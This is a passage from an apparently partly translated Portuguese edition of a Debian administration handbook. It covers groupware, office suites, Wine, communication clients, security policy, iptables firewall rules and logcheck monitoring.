https://glade.gnome.org/


13.7. Trabalho Colaborativo

13.7.1. Trabalhando em Grupo: groupware

Groupware tools tend to be relatively complex to maintain because they aggregate multiple
tools and have requirements that are not always easy to reconcile in the context of an integrated
distribution. Thus there is a long list of groupware packages that were once available in Debian
but have been dropped for lack of maintainers or incompatibility with other (newer) software
in Debian. This has been the case with PHPGroupware, eGroupware, and Kolab.
è http://www.egroupware.org/

è https://www.kolab.org/

All is not lost though. Many of the features traditionally provided by “groupware” software are
increasingly integrated into “standard” software. This is reducing the requirement for specific,
specialized groupware software. On the other hand, this usually requires a specific server. Cita-
del (in the citadel-suite package) and Sogo (in the sogo package) are alternatives that are available
in Debian Stretch.

13.7.2. Trabalho Colaborativo Com FusionForge

O FusionForge é uma ferramenta de desenvolvimento colaborativo com alguma ancestralidade
no SourceForge, um serviço de hospedagem para projetos de software livre. Ele tem a mesma
abordagem baseada nomodelo de padrão de desenvolvimento para o software livre. O software
em si se manteve em evoluçãomesmo após o código do SourceForge ter se tornado proprietário.
Seus autores iniciais, a VA Software, decidiram não mais lançar versões livres. O mesmo acon-
teceu de novo quando o primeiro fork (GForge) seguiu o mesmo caminho. Como várias pessoas
e organizações participaram do desenvolvimento, o FusionForge corrente também inclui recur-
sos objetivando uma abordagem mais tradicional para o desenvolvimento, bem como projetos
não puramente preocupados com desenvolvimento de software.
FusionForge pode ser visto como uma amálgama de várias ferramentas dedicadas a gerenciar,
registrar e coordenar projetos. Essas ferramentas podem ser grosseiramente classificadas em
três famílias:

• communication: web forums, mailing-list manager, and announcement system allowing a
project to publish news

• tracking: tools to track project progress and schedule tasks, to track bugs, feature requests,
or any other kind of “ticket”, and to run surveys

• compartilhamento: gerenciador de documentação para fornecer um ponto central único
para documentos relacionados ao projeto, gerenciador de versão de arquivos genéricos,
site web dedicado para cada projeto.

Since FusionForge largely targets development projects, it also integrates many tools such as
CVS, Subversion, Git, Bazaar, Darcs, Mercurial and Arch for source control management (also
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called “configuration management” or “version control”). These programs keep a history of all
the revisions of all tracked files (often source code files), with all the changes they go through,
and they can merge modifications when several developers work simultaneously on the same
part of a project.
Most of these tools can be accessed or even managed through a web interface, with a fine-
grained permission system, and email notifications for some events.
Unfortunately, FusionForge is not part of Debian Stretch. It is a large software stack that is hard
to maintain properly and benefits only few users who are usually expert enough to be able to
backport the package from Debian Unstable.

13.8. Suítes de Escritório

Office software has long been seen as lacking in the free software world. Users require replace-
ments for Microsoft tools such as Word and Excel, but these are so complex that replacements
were hard to develop. The situation changed when Sun released the StarOffice code under a
free license as OpenOffice, a project which later gave birth to Libre Office, which is available on
Debian. The KDE project also has its own office suite, called Calligra Suite (previously KOffice),
and GNOME, while never offering a comprehensive office suite, provides AbiWord as a word
processor and Gnumeric as a spreadsheet. The various projects each have their strengths. For
instance, the Gnumeric spreadsheet is better than OpenOffice.org/Libre Office in some domains,
notably the precision of its calculations. On theword processing front, the Libre Office suite still
leads the way.
Another important feature for users is the ability to import Microsoft Office documents. Even
though all office suites have this feature, only the ones in OpenOffice.org and Libre Office are
functional enough for daily use.

UMA VISÃO MAIS AMPLA

Libre Office substitui
OpenOffice.org

OpenOffice.org contributors set up a foundation (The Document Foundation) to
foster the project’s development. The idea had been discussed for some time, but
the actual trigger was Oracle’s acquisition of Sun. The new ownership made the
future of OpenOffice under Oracle uncertain. Since Oracle declined to join the
foundation, the developers had to give up on the OpenOffice.org name. This office
suite is now known as Libre Office, and is available in Debian.

After a period of relative stagnation on OpenOffice.org, Oracle donated the code
and associated rights to the Apache Software Foundation, and OpenOffice is now
an Apache project. This project is not currently available in Debian and is rather
moribund when compared to Libre Office.

Libre Office and Calligra Suite are available in the libreoffice and calligra Debian packages, res-
pectively. Although the gnome-office package was previously used to install a collection of office
tools such as AbiWord and Gnumeric, this package is no longer part of Debian, with the indivi-
dual packages now standing on their own.
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Language-specific packs for Libre Office are distributed in separate packages, most notably
libreoffice-l10n-* and libreoffice-help-*. Some features such as spelling dictionaries, hyphenation
patterns and thesauri are in separate packages, such asmyspell-*, hunspell-*, hyphen-* andmythes-
*.

13.9. Emulando o Windows: Wine

Apesar de todos os esforçosmencionados previamente, ainda existe um número de ferramentas
sem um equivalente no Linux, ou para as quais a versão original é absolutamente necessária. É
ai que sistemas de emulação do Windows vêm a calhar. O mais bem conhecido entre eles é o
Wine.
è https://www.winehq.org/

COMPLEMENTOS

CrossOver Linux
CrossOver, produced by CodeWeavers, is a set of enhancements to Wine that broa-
dens the available set of emulated features to a point at which Microsoft Office be-
comes fully usable. Some of the enhancements are periodically merged into Wine.

è https://www.codeweavers.com/products/

No entanto, deve-se ter emmente que ele é apenas uma solução entre outras, e que o problema
também pode ser combatido com uma máquina virtual ou VNC; ambas as soluções são detalha-
das nas barras laterais Máquinas virtuais [389] e Windows Terminal Server ou VNC [389].
Vamos começar com um lembrete: a emulação permite a execução de um programa (desenvol-
vido para um sistema específico) em um sistema hospedeiro diferente. O software de emulação
usa o sistema hospedeiro, aonde a aplicação roda, para imitar as características necessárias de
determinado sistema.
Agora vamos instalar os pacotes necessários (ttf-mscorefonts-installer está na seção contrib):
# apt install wine ttf-mscorefonts-installer

Em um sistema 64 bit (amd64), se os seus aplicativos Windows são aplicativos 32 bit, então você
terá que habilitar multi-arch para ser capaz de instalar o wine32 a partir da arquitetura i386 (
veja Seção 5.4.5, “Suporte Multi-Arqu” [98]).
O usuário então precisa rodar winecfg e configurara quais locais (Debian) são mapeados para
quais drives (Windows). O winecfg tem alguns valores padrões e pode auto-detectar mais al-
guns drives; note que mesmo se você tiver um sistema ”dual-boot”, você não deve apontar o
drive C: para aonde a partição Windows está montada no Debian, já que o Wine provavelmente
irá sobrescrever parte dos dados nessa partição, fazendo o Windows não usável. Outras confi-
gurações podem ser mantidas nos seus valores padrão. Para rodar programas Windows, você
primeiro precisa instalá-los rodando seus instaladores (Windows) sob oWine, com um comando
como wine .../setup.exe; uma vez que o programa esteja instalado, você pode rodá-lo com
wine .../program.exe. A localização exata do arquivo program.exe depende de onde o driver
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C: está mapeado; em muitos casos, contudo, simplesmente rodar wine program irá funcionar,
já que o programa geralmente é instalado em um local aonde oWine irá procurar por si próprio.

DICA

Trabalhando em torno de
uma falha no winecfg

Em alguns casos, owinecfg (que é apenas um envoltório) pode falhar. Como
um contorno, é possível tentar rodar o comando subjacente manualmente:
wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so ou wine32
/usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

Note que você não deve se basear no Wine (ou soluções similares) sem realmente testar o soft-
ware em particular: apenas um teste de uso real irá determinar conclusivamente se a emulação
é totalmente funcional.

ALTERNATIVA

Máquinas virtuais
Uma alternativa para emulação de um sistema operacional Microsoft é realmente
rodá-lo em uma máquina virtual que emula uma máquina de hardware completa.
Isso permite rodar qualquer sistema operacional. Capítulo 12, Administração Avan-
çada [318] descreve vários sistemas de virtualização, mais notavlemente o Xen e o
KVM (mas também QEMU, VMWare e Bochs).

ALTERNATIVA

Windows Terminal Server ou
VNC

Ainda outra possibilidade é rodar, remotamente, aplicações legadas do Windows
em um servidor central comWindows Terminal Server e acessar a aplicação a par-
tir de máquinas Linux usando o rdesktop. Ele é um cliente Linux para o protocolo
RDP (Remote Desktop Protocol) que o Windows NT/2000 Terminal Server usa
para exibir a área de trabalho em máquinas remotas.

O software VNC provê recursos similares, com o benefício adicional de também
trabalhar com muitos sistemas operacionais. Clientes e servidores VNC Linux são
descritos em Seção 9.2, “Login remoto” [202].

13.10. Softwares de Comunicação em Tempo Real

O Debian fornece uma ampla gama de softwares clientes de Comunicação em Tempo Real (RTC -
Real Time Communications). A configuração de servidores RTC é abordada em Seção 11.8, “Ser-
viços de Comunicação em Tempo Real” [308]. Na terminologia SIP, uma aplicação cliente ou
dispositivo também é referenciada como um agente de usuário (”user agent”).
Cada aplicação cliente varia em funcionalidade. Algumas aplicações sãomais convenientes para
intensos usuários de ”chat” (bate-papo), enquanto outras aplicações sãomais estáveis para usuá-
rios de ”webcam”. Talvez seja necessário testar várias aplicações para identificar aquelas que
são mais satisfatórias. Um usuário pode finalmente decidir que ele precise de mais de uma apli-
cação, por exemplo, uma aplicação XMPP para trocar mensagens com clientes e uma aplicação
IRC para colaboração com algumas comunidades ”online”.
Para maximizar a habilidade de usuários se comunicarem com um mundo mais amplo, é reco-
mendado configurar tanto um cliente SIP quanto um cliente XMPP, ou um único cliente que
tenha suporte a ambos os protocolos.
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The default GNOME desktop suggests the Empathy communications client. Empathy can sup-
port both SIP and XMPP. It supports instant messaging (IM), voice and video. The KDE project
provides KDE Telepathy, a communications client based on the same underlying Telepathy APIs
used by the GNOME Empathy client.
Popular alternatives to Empathy/Telepathy include Ekiga, Linphone, Psi and Ring (formerly
known as SFLphone).
Some of these applications can also interact with mobile users using apps such as Lumicall on
Android.
è https://lumicall.org

O Guia para Início Rápido em Comunicações em Tempo Real tem um capítulo dedicado a software
cliente.
è http://rtcquickstart.org/guide/multi/useragents.html

DICA

Procure por clientes com
suporte a ICE e TURN

Alguns clientes RTC tem significantes problemas em enviar voz e vídeo através
de firewalls e redes NAT. Os usuários podem receber chamadas fantasmas (seus
telefones tocam mas eles não escutam a outra pessoa) ou eles talvez não sejam
capazes de fazer nenhuma chamada.

Os protocolos ICE e TURN foram desenvolvidos prara resolver esses problemas.
Operarar um servidor TURN com endereços IP públicos em cada site e usando
software cliente que tenha suporte ICE e TURN resulta na melhor experiência de
usuário.

Se o software cliente tem como objetivo apenas amensagem instantânea, não existe
necessidade de suporte para ICE ou TURN.

Desenvolvedores Debian operamum serviço SIP comunitário em rtc.debian.org1. A comunidade
mantém um wiki com documentação sobre como configurar muitas das aplicações cliente em-
pacotadas para o Debian. Os artigos e screenshots do wiki são uma fonte útil para qualquer um
configurar um serviço similar em seu próprio domínio.
è https://wiki.debian.org/UnifiedCommunications/DebianDevelopers/UserGuide

ALTERNATIVA

Internet Relay Chat
O IRC também pode ser considerado, em adição ao SIP e XMPP. O IRC é mais
centrado no conceito de canais, o nome que começa com um cardinal #. Cada canal
geralmente é direcionado para um tópico específico e não há limite de número
de pessoas que podem participar do canal para participar da discussão (mas os
usuários ainda podem ter conversas privadas entre duas pessoas se necessário).
O protocolo IRC é antigo, e não permite a criptografia fim-a-fim de mensagens;
mas é possível criptografar as comunicações entre usuários e o servidor fazendo o
tunelamento do protocolo IRC dentro do SSL.

Clientes IRC são um pouco mais complexo, e eles costumam fornecem muitos re-
cursos que são de uso limitado em um ambiente corporativo. Por exemplo, ”opera-
dores” do canal são usuários dotados com a capacidade de retirar outros usuários

1https://rtc.debian.org
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de um canal, ou mesmo bani-los permanentemente, quando uma discussão normal
é perturbada.

Since the IRC protocol is very old, many clients are available to cater for many user
groups; examples include XChat (only available in stretch-backports, not in stretch),
and Smuxi (graphical clients based on GTK+), Irssi (text mode), Circe (integrated
to Emacs), and so on.

OLHADA RÁPIDA

Video conferência com
Ekiga

O Ekiga (anteriormente GnomeMeeting) é uma proeminente aplicação para vídeo
conferência no Linux. Ele é estável e funcional, e é muito fácil de ser usado em uma
rede local; a configuração do serviço em uma rede global é muito mais complexa
quando os firewalls envolvidos não tem suporte explícito para os protocolos de
teleconferência H323 e/ou SIP com todas as suas peculiaridades.

Se apenas um cliente Ekiga roda atrás do firewall, a configuração é bem simples, e
apenas envolve encaminhar (forwarding) algumas portas para uma máquina (host)
dedicada: a porta TCP 1720 (a espera por conexões de entrada), a porta TCP 5060
(para SIP), as portas TCP de 30000 até 30010 (para controle de conexões abertas)
e as portas UDP de 5000 até 5100 (para transmissão de dados de áudio e vídeo e
registro em um proxy H323).

Quando vários clientes Ekiga estão rodando atrás de um firewall, a complexidade
aumenta notavelmente. Um proxy H323 (por exemplo do pacote gnugk) tem que
ser configurado, e essa configuração está longe de ser simples.
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Um sistema de informação pode ter variados níveis de importância, dependendo do ambiente. Em alguns
casos, é vital para a sobrevivência de uma empresa. Deve, portanto, ser protegido de vários tipos de riscos.
O processo de avaliação desses riscos, definição e execução da proteção é coletivamente conhecido como o
”processo de segurança”.



14.1. Definindo uma Política de Segurança

ATENÇÃO

Escopo deste capítulo
Segurança é um assunto vasto e muito delicado, por isso não podemos afirmar que
vamos descrevê-lo de forma abrangente no curso de um único capítulo. Nós apenas
delimitaremos alguns pontos importantes e descreveremos algumas das ferramen-
tas e métodos que podem ser úteis no domínio da segurança. Para ler mais, a
literatura é abundante, e livros inteiros foram dedicados ao assunto. Um excelente
ponto de partida seria Linux Server Security por Michael D. Bauer (publicado pela
O’Reilly).

A palavra ”segurança” em si abrange uma vasta gama de conceitos, ferramentas e procedimen-
tos, nenhum dos quais se aplicam universalmente. Escolher entre eles requer uma idéia precisa
de quais são seus objetivos. Cuidar da segurança de um sistema começa responder a algumas per-
guntas. Ao se focar afobadamente na implementação de um conjunto arbitrário de ferramentas
corre-se o risco de se concentrar nos aspectos errados da segurança.
A primeira coisa a determinar é, portanto, o objetivo. Uma boa abordagem para ajudar com esta
determinação começa com as seguintes perguntas:

• O que estamos tentando proteger? A política de segurança vai ser diferente, dependendo
se queremos proteger os computadores ou dados. Neste último caso, também precisamos
saber quais os dados.

• Contra o que estamos tentando proteger? Vazamento de dados confidenciais? Perda aci-
dental de dados? Perda de receita causada pela interrupção do serviço?

• Além disso, de quem estamos tentando proteger? As medidas de segurança vão ser muito
diferentes para se proteger contra umerro de digitação por umusuário regular do sistema
do que quando a proteção for contra um determinado grupo atacante.

O termo ”risco” é normalmente usado para se referir coletivamente a esses três fatores: o que
proteger, o que precisa ser impedido de acontecer, e que vai tentar fazer isso acontecer. Mo-
delagem do risco requer respostas a estas três perguntas. A partir deste modelo de risco, uma
política de segurança pode ser construída, e a política pode ser implementada com ações con-
cretas.

NOTA

Questionamento
permanente

Bruce Schneier, um especialista mundial em matéria de segurança (e não apenas
a segurança do computador) tenta combater um dos mitos mais importantes de
segurança com um lema: ”Segurança é um processo, não um produto”. Ativos a
serem protegidos mudam no tempo, assim como ameaças e os meios disponíveis
para potenciais agressores. Mesmo se uma política de segurança foi inicialmente
perfeitamente desenhada e implementada, nunca se deve descansar sobre seus lou-
ros. Os componentes de risco evoluem, e a resposta a esse risco deve evoluir nesse
sentido.

Restrições adicionais também devem ser levadas em conta, uma vez que podem restringir o le-
que de políticas disponíveis. Até onde estamos dispostos a ir para proteger um sistema? Esta
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questão tem um grande impacto sobre a política a implementar. A resposta é muitas vezes de-
finida apenas em termos de custos monetários, mas os outros elementos devem também ser
considerados, tais como a quantidade de inconveniência imposta aos usuários do sistema ou
degradação do desempenho.
Uma vez que o risco foi modelado, pode-se começar a pensar sobre a criação de uma política de
segurança real.

NOTA

Políticas extremas
Há casos em que a escolha das ações necessárias para proteger um sistema é extre-
mamente simples.

Por exemplo, se o sistema a ser protegido é apenas um computador de segunda
mão, cuja única utilização consiste em adicionar alguns números no final do dia,
decidir não fazer nada especial para protegê-lo seria bastante razoável. O valor in-
trínseco do sistema é baixo. O valor dos dados é igual a zero, uma vez que não são
armazenados no computador. Um atacante potencial infiltrando este ”sistema” só
ganharia uma calculadora pesada. O custo de proteger tal sistema seria provavel-
mente maior do que o custo de uma violação.

No outro extremo do espectro, podemos querer proteger a confidencialidade de da-
dos secretos da forma mais abrangente possível, superando qualquer outra consi-
deração. Neste caso, uma resposta apropriada seria a destruição total destes dados
(apagando de forma segura os arquivos, triturando os discos rígidos em pedaços,
em seguida, dissolvendo estes bits em ácido, e assim por diante). Se houver um
requisito adicional de que os dados devem ser mantidos guardados para uso futuro
(embora não necessariamente prontamente disponível), e se o custo ainda não é
um fator, então, um ponto de partida seria armazenar os dados em placas de liga
leve de irídio-platina armazenados em depósitos à prova de bomba sob várias mon-
tanhas no mundo, cada uma das quais, é claro, completamente secreta e guardada
por exércitos inteiros…

Esses exemplos podem parecer extremos, eles, no entanto, são uma resposta ade-
quada aos riscos definidos, na medida em que eles são o resultado de um processo
de pensamento que leva em conta os objetivos a atingir e as limitações a cumprir.
Ao vir de uma decisão fundamentada, nenhuma política de segurança é menos res-
peitável do que qualquer outra.

Namaioria dos casos, o sistema de informação pode ser segmentado em subconjuntos consisten-
tes e na maior parte independentes. Cada subsistema terá suas próprias exigências e restrições,
e assim a avaliação do risco e do projeto da política de segurança deve ser realizado separada-
mente para cada um. Um bom princípio para se manter emmente é que um perímetro pequeno
e bem definido é mais fácil de defender do que uma fronteira longa e sinuosa. A organização
da rede também deve ser concebida de acordo: os serviços sensíveis devem ser concentrados
em um pequeno número de máquinas, e estas máquinas só devem ser acessíveis através de um
número mínimo de pontos de verificação; proteger estes pontos de verificação será mais fácil
do que proteger todos as máquinas sensíveis contra a totalidade do mundo exterior. É neste
ponto que a utilidade de filtragem de rede (incluindo por firewalls) se torna aparente. Esta fil-
tragem pode ser implementada com hardware dedicado, mas uma solução possivelmente mais
simples emais flexível é usar um firewall em software, como por exemplo o integrado no núcleo
do Linux.
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14.2. Firewall ou Filtragem de pacotes

DE VOLTA AO BÁSICO

Firewall
Um firewall é uma peça de equipamento de informática com hardware e/ou soft-
ware que classifica os pacotes de entrada ou saída de rede (chegando de ou indo
para uma rede local) e só deixa passar aqueles satisfazendo certas condições pré-
definidas.

Um firewall é um portal de filtragem da saída de rede e é efetivo apenas em pacotes que devem
passar por ele. Portanto, o firewall só será eficaz quando a única rota para estes pacotes for
através dele.
A falta de uma configuração padrão (e do lema ”processo, e não produto”) explica a falta de uma
solução chave. Existem, no entanto, ferramentas que simplificam a configuração do firewall
netfilter, com uma representação gráfica das regras de filtragem. fwbuilder está, sem dúvida,
entre os melhores.

CASO ESPECÍFICO

Firewall Local
Um firewall pode ser restrito a uma determinadamáquina (em oposição a uma rede
completa), caso em que seu papel é o de filtrar ou restringir o acesso a alguns servi-
ços, ou possivelmente para evitar que as conexões de saída por softwaresmaliciosos
que um usuário poderia, por vontade própria ou não, ter instalado.

O kernel do Linux incorpora o firewall netfilter. Ele pode ser controlado a partir do espaço do
usuário com os comandos iptables e ip6tables. A diferença entre estes dois comandos é que
o primeiro atua sobre rede IPv4, enquanto que o último sobre o IPv6. Uma vez que ambas pilhas
de protocolo de rede provavelmente estarão circulando por muitos anos, ambas as ferramentas
serão utilizadas em paralelo.

14.2.1. Funcionamento do Netfilter

netfilter utiliza quatro tabelas distintas que armazenam regras que regulam três tipos de opera-
ções sobre pacotes:

• filtro se ocupa das regras de filtragem (aceitando, recusando ou ignorando um pacote);
• nat diz respeito a tradução de endereços e portas de origem ou destino de pacotes;
• mangle diz respeito a outras alterações nos pacotes IP (incluindo campos e opções de ToS
- Tipo de Serviço);

• raw permite outrasmodificaçõesmanuais em pacotes antes deles chegarem ao sistema de
rastreamento de conexões.

Cada tabela contém listas de regras chamadas cadeias. O firewall usa cadeias padrão para lidar
com pacotes com base em circunstâncias pré-definidas. O administrador pode criar outras ca-
deias, que só serãousadas quando referenciadas por umadas cadeias padrão (tanto direta quanto
indiretamente).
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A tabela filter (filtro) possui três cadeias padrão:

• INPUT (ENTRADA): lida com os pacotes cujo destino é o próprio firewall;
• OUTPUT (SAÍDA): lida com os pacotes emitidos pelo firewall;
• FORWARD (REPASSAR): lida com os pacotes em trânsito através do firewall (que não é
nem a sua origem nem o seu destino).

A tabela nat também tem três cadeias de padrão:

• PREROUTING (PRÉ ROTEAMENTO): altera pacotes assim que eles chegam;
• POSTROUTING (PÓS ROTEAMENTO): altera pacotes quando eles estão prontos para se-
guir seu caminho;

• OUTPUT (SAÍDA): altera pacotes gerados pelo próprio firewall.

Figura 14.1 Como cadeias netfilter são chamadas

Cada cadeia é uma lista de regras, cada regra é um conjunto de condições e uma ação a ser exe-
cutada quando as condições forem satisfeitas. Ao processar um pacote, o firewall examina a
correspondente, uma regra após a outra; quando as condições para uma regra são satisfeitas,
”pula” (daí a opção -j , de jump, nos comandos) para a especificada ação para continuar o proces-
samento. Os comportamentos mais comuns são padronizados, e existem ações específicas para
eles. fazer uma destas ações padrão interrompe o processamento da cadeia, já que o destino do
pacote já está selado (salvo uma exceção mencionada a seguir):

DE VOLTA AO BÁSICO

ICMP
ICMP (Internet Control Message Protocol) é o protocolo usado para transmitir in-
formações complementares sobre as comunicações. Permite testar a conectividade
de rede com o comando ping (que envia uma mensagem ICMP echo request (soli-
citação de eco), que o destinatário deve responder com uma mensagem ICMP echo
reply) (resposta echo). Ele sinaliza quando um firewall está rejeitando um pacote,
indica um estouro de memoria no buffer de recebimento, propõe uma melhor rota
para os pacotes seguintes na conexão, e assim por diante. Este protocolo é definido
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por vários documentos RFC, o inicial RFC777 e RFC792 logo foram concluídos e
ampliados.

è http://www.faqs.org/rfcs/rfc777.html

è http://www.faqs.org/rfcs/rfc792.html

Para referência, um buffer de recepção é uma pequena região de memória para
armazenamento de dados entre o tempo que chega na rede e o tempo que o kernel
o manipula. Se esta região está cheia, os novos dados não podem ser recebidos, e
o ICMP sinaliza o problema, de modo que o emissor possa diminuir a sua taxa de
transferência (que deve, idealmente, chegar a um equilíbrio após algum tempo).

Observe que, embora uma rede IPv4 possa funcionar sem ICMP, ICMPv6 é estri-
tamente necessário para uma rede IPv6, uma vez que combina várias funções que
eram, nomundo IPv4, espalhados por ICMPv4, IGMP (Internet GroupMembership
Protocol) e ARP (Address Resolution Protocol). ICMPv6 é definido na RFC4443.

è http://www.faqs.org/rfcs/rfc4443.html

• ACCEPT: permite que o pacote siga seu caminho;
• REJECT: rejeita o pacote com um erro ICMP (a opção --reject-withtipo para iptables per-
mite seleccionar o tipo de erro);

• DROP: apaga (ignora) o pacote;
• LOG: loga (via syslogd) uma mensagem com uma descrição do pacote; observe que esta
ação não interrompe o processamento, e a execução da cadeia continua na próxima regra,
razão pela qual logar pacotes recusados exige tanto uma regra LOG quando uma regra
REJECT/DROP;

• ULOG: loga umamensagem via ulogd, que pode sermelhor adaptado emais eficiente que
o syslogd para lidar com um grande número de mensagens; observe que esta ação, como
LOG, também retorna o processamento para a próxima regra na cadeia chamada;

• chain_name: Vai para a cadeia dada e processa as suas regras;
• RETURN: interrompe o processamento da cadeia atual, e volta para a cadeia chamada; no
caso da cadeia atual ser uma das padrão, não há nenhuma cadeia de chamada, de modo
que a ação padrão (definida com a opção -P para o iptables) é executada em vez disto;

• SNAT (apenas na tabela nat): aplica Source NAT (opções extras descrevem as alterações
exatas para aplicar);

• DNAT (apenas na tabela nat): aplica Destination NAT (opções extras descrevem as altera-
ções exatas para aplicar);

• MASQUERADE (apenas na tabela nat): aplica masquerading (um caso especial de Source
NAT);

• REDIRECT (apenas na tabela nat): redireciona um pacote para uma determinada porta
do próprio firewall; isto pode ser usado para configurar um proxy web transparente que
funciona sem nenhuma configuração no lado do cliente, uma vez que o cliente pensa que
ele se conecta ao destinatário mas na verdade as comunicações passam pelo proxy.
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Outras ações, particularmente as relativas à tabela mangle, estão fora do escopo deste texto. O
iptables(8) e ip6tables(8) tem um lista completa.

14.2.2. Sintaxe do iptables e do ip6tables

Os comandos iptables e ip6tables permitem manipulação de tabelas, cadeias e regras. Sua
opção -t tabela indica em qual tabela operar (por padrão, na filter).

Comandos

A opção -N cadeia cria uma nova cadeia. A -X cadeia exclui uma cadeia vazia e sem uso. A -A
cadeia regra adiciona uma regra no final da cadeia dada. A opção -I cadeia número_regra regra
insere uma regra antes da regra número número_regra. A opção -D cadeia número_regra (ou -D
cadeia regra) remove uma regra na cadeia; a primeira sintaxe identifica a regra a ser removida
pelo seu número, enquanto a segunda a identifica pelo seu conteúdo. A opção -F cadeia esvazia
uma cadeia (remove todas suas regras); se nenhuma cadeia é mencionada, todas as regras da
tabela são removidas. A opção -L cadeia lista as regras na cadeia. Finalmente, a opção -P cadeia
ação define a ação padrão, ou ”política”, para uma dada cadeia; observe que apenas as cadeias
padrão podem ter essa política.

Regras

Cada regra é expressa como condições -j ação opções_ações. Se várias condições são descritas
na mesma regra, então o critério é a conjunção (e lógico) das condições, que é pelo menos tão
restritiva quanto cada condição individual.
A condição -p protocolo corresponde ao campo protocolo do pacote IP. Os valores mais comuns
são tcp, udp, icmp, e icmpv6. Prefixar a condição com um ponto de exclamação nega a condição,
que se transforma numa correspondência para ”todos os pacotes com um protocolo diferente
do especificado”. Este mecanismo de negação não é específico para a opção -p e também pode
ser aplicada a todas outras condições.
A condição -s endereço ou -s rede/máscara corresponde ao endereço de origem do pacote. Do
mesmo modo, -d endereço ou -d rede/máscara corresponde ao endereço de destino.
A condição -i interface seleciona os pacotes entrando pela dada interface. -o interface seleciona
pacotes saindo de uma interface específica.
Existem condições mais específicas, dependendo das condições genéricas acima descritas. Por
exemplo, a condição -p TCP pode ser complementada com condições sobre as portas TCP, com
cláusulas como --source-port porta (porta de origem) e --destination-port porta (porta de des-
tino).
A condição --state estado corresponde ao estado de um pacote em uma conexão (isto requer o
módulo ipt_conntrack do kernel, para rastreamento de conexões). O estadoNEW descreve um
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pacote iniciando uma nova conexão; O estado ESTABLISHED corresponde aos pacotes perten-
centes a uma conexão já existente, e RELATED correspondem aos pacotes iniciando uma nova
conexão relacionada a uma já existente (o que é útil para as conexões ftp-data nomodo ativo do
protocolo FTP).
A seção anterior lista as ações disponíveis, mas não suas respectivas opções. A ação LOG, por
exemplo, tem as seguintes opções:

• --log-level, com valor padrão warning (aviso), indica o nível de severidade no syslog;

• --log-prefix permite especificar um prefixo de texto para diferenciar mensagens registra-
das;

• --log-tcp-sequence, --log-tcp-options e --log-ip-options indicam dados extras a serem in-
tegrados na mensagem: respectivamente, o número de seqüência TCP, opções TCP, e as
opções IP.

A ação DNAT fornece a opção --to-destination endereço:porta para indicar o novo endereço IP
de destino e/ou porta. Da mesma forma, SNAT fornece --to-source endereço:porta para indicar
o novo endereço e/ou porta IP de origem.
A ação REDIRECT (disponível apenas se o NAT está disponível) fornece a opção --to-ports
porta(s) para indicar a porta, ou intervalo de portas, para onde os pacotes devem ser redire-
cionados.

14.2.3. Criando Regras

Cada criação de regra exige uma invocação de iptables/ip6tables. Digitar estes comandos
manualmente pode ser tedioso, por isso as chamadas são normalmente armazenados em um
script para que a mesma configuração seja criada automaticamente a cada vez que a máquina
inicia. Este script pode ser escrito à mão, mas também pode ser interessante prepará-lo com
uma ferramenta de alto nível, como fwbuilder.

# apt install fwbuilder

O princípio é simples. Na primeira etapa, é preciso descrever todos os elementos que estarão
envolvidos nas regras reais:

• o próprio firewall, com suas interfaces de rede;

• as redes, com suas faixas de IP correspondentes;

• os servidores;

• as portas que pertencem aos serviços hospedados nos servidores.

As regras são então criadas com simples ações de arrastar-e-soltar nos objetos. Alguns menus
contextuais podem alterar a condição (negando-a, por exemplo). Em seguida, a ação deve ser
escolhida e configurada.
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Quando IPv6 está ativo, pode se criar dois conjuntos de regras distintas para IPv4 e IPv6, ou
criar uma só e deixar o fwbuilder traduzir as regras de acordo com os endereços atribuídos aos
objetos.

Figura 14.2 janela principal do Fwbuilder

fwbuilder pode gerar um script de configuração do firewall de acordo com as regras que fo-
ram definidas. Sua arquitetura modular lhe confere a capacidade de gerar scripts que visam
diferentes sistemas (iptables para Linux, ipf para o FreeBSD e pf para OpenBSD).

14.2.4. Instalando as Regras em Cada Inicialização

Em outros casos, a maneira recomendada é registrar o script de configuração em uma directiva
updo /etc/network/interfaces. No exemplo a seguir, o script é armazenado em /usr/local/
etc/arrakis.fw.

Exemplo 14.1 arquivo interfaces chamando script firewall

auto eth0
iface eth0 inet static

address 192.168.0.1
network 192.168.0.0
netmask 255.255.255.0
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broadcast 192.168.0.255
up /usr/local/etc/arrakis.fw

Isso obviamente assume que você está usando o ifupdown para configurar as interfaces de rede.
Se você está usando algo diferente (como oNetworkManager ou systemd-networkd), então consulte
suas respectivas documentações para encontrarmaneiras de executar um script após a interface
ter sido levantada.

14.3. Supervisão: Prevenção, Detecção, Desencorajamento

O monitoramento é uma parte integrante de qualquer política de segurança por várias razões.
Entre elas, que o objetivo da segurança não é normalmente restrito a garantir a confidencia-
lidade dos dados, mas também inclui a disponibilidade assegurada dos serviços. Portanto, é
imperativo verificar se tudo funciona como esperado, e para detectar em tempo hábil qualquer
desvio no comportamento oumudança na qualidade do(s) serviço(s) entregue(s). A atividade de
monitoramento pode ajudar a detectar tentativas de invasão e permitir uma reação rápida antes
que elas causem consequências graves. Esta seção analisa algumas ferramentas que podem ser
usadas para monitorar vários aspectos de um sistema Debian. Como tal, completa Seção 12.4,
“Monitoramento” [364].

14.3.1. Monitoramento de Logs com logcheck

O programa logcheck monitora arquivos de log a cada hora por padrão. Ele envia mensagens
de log incomuns em e-mails para o administrador, para posterior análise.
A lista de arquivos monitorados é armazenada em /etc/logcheck/logcheck.logfiles, os va-
lores padrão funcionam bem se o arquivo /etc/rsyslog.conf não foi completamente refeito.
logcheck pode trabalhar em um dos três modos mais ou menos detalhados: paranoid, server
e workstation. O primeiro é muito verboso, e provavelmente deve ser restrito a servidores es-
pecíficos, tais como firewalls. O segundo modo (e padrão) é recomendado para a maioria dos
servidores. O último é projetado para estações de trabalho, e é ainda mais suscinto (filtra ainda
mais mensagens).
Nos três casos, o logcheck provavelmente deve ser personalizado para excluir algumas men-
sagens extras (dependendo dos serviços instalados), a menos que o administrador realmente
deseje receber lotes por hora de longos e-mails desinteressantes. Uma vez que o mecanismo
de seleção de mensagem é bastante complexo, /usr/share/doc/logcheck-database/README.
logcheck-database.gz é uma leitura necessária - quiçá desafiadora.
As regras aplicadas podem ser divididas em vários tipos:

• aquelas que qualificam uma mensagem como uma tentativa de invasão (armazenada em
um arquivo no diretório /etc/logcheck/cracking.d/);

• aquelas cancelando essas qualificações (/etc/logcheck/cracking.ignore.d/);
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• aquelas classificando uma mensagem como um alerta de segurança (/etc/logcheck/
violations.d/);

• aquelas cancelando esta classificação (/etc/logcheck/violations.ignore.d/);

